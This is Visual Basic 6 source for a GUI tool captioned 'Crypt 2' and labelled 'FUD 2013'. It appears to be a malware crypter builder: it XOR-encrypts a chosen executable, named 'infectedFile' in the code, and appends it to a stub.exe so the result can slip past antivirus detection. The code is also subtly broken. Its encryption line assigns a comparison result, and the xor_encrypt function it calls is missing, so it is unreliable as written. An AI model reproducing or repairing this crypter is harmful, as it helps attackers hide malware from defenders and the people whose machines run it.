VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "Comdlg32.ocx"
Begin VB.Form Form1 
   BackColor       =   &H80000001&
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Crypt 2"
   ClientHeight    =   1860
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   1860
   ScaleWidth      =   4680
   StartUpPosition =   3  'Windows Default
   Begin MSComDlg.CommonDialog SaveDialog 
      Left            =   3960
      Top             =   960
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin MSComDlg.CommonDialog OpenDialog 
      Left            =   240
      Top             =   120
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin VB.CommandButton Command3 
      Caption         =   "Encry"
      Height          =   255
      Left            =   120
      TabIndex        =   4
      Top             =   1080
      Width           =   4455
   End
   Begin VB.CommandButton Command2 
      Cancel          =   -1  'True
      Caption         =   "..."
      Height          =   255
      Left            =   3840
      TabIndex        =   3
      Top             =   600
      Width           =   735
   End
   Begin VB.TextBox savetxt 
      Height          =   285
      Left            =   120
      TabIndex        =   2
      Top             =   600
      Width           =   3495
   End
   Begin VB.TextBox txtpath 
      Height          =   285
      Left            =   120
      TabIndex        =   1
      Top             =   120
      Width           =   3495
   End
   Begin VB.CommandButton Command1 
      Caption         =   "..."
      Height          =   255
      Left            =   3840
      TabIndex        =   0
      Top             =   120
      Width           =   735
   End
   Begin VB.Label Label1 
      Caption         =   "FUD 2013"
      Height          =   255
      Left            =   1920
      TabIndex        =   5
      Top             =   1440
      Width           =   855
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'var
Dim savePath As String

'open
Private Sub Command1_Click()
OpenDialog.DialogTitle = "Select a file to open"
OpenDialog.Filter = "Exe files | *.exe"
OpenDialog.ShowOpen
openPath = OpenDialog.FileName
txtpath.text = openPath
End Sub

'save
Private Sub Command2_Click()
SaveDialog.DialogTitle = "Save as..."
SaveDialog.Filter = "Exe files | *.exe"
SaveDialog.ShowSave
savePath = SaveDialog.FileName
savetxt.text = savePath
End Sub


Private Sub Command3_Click()
Dim infectedFile As String, newFile As String, stubfile As String

Open txtpath For Binary As #1
infectedFile = Space(LOF(1))
Get #1, , infectedFile
Close #1

infectedFile = infectedFile = xor_encrypt(infectedFile, "fuck")
Open App.Path & "\stub.exe" For Binary As #2
stubfile = Space(LOF(2))
Get #2, , stubfile
Close #2
newFile = stubfile & "XSEPERATORX" & infectedFile


Open savePath For Binary As #3
Put #3, , newFile
Close #3

MsgBox "Build!"
End Sub
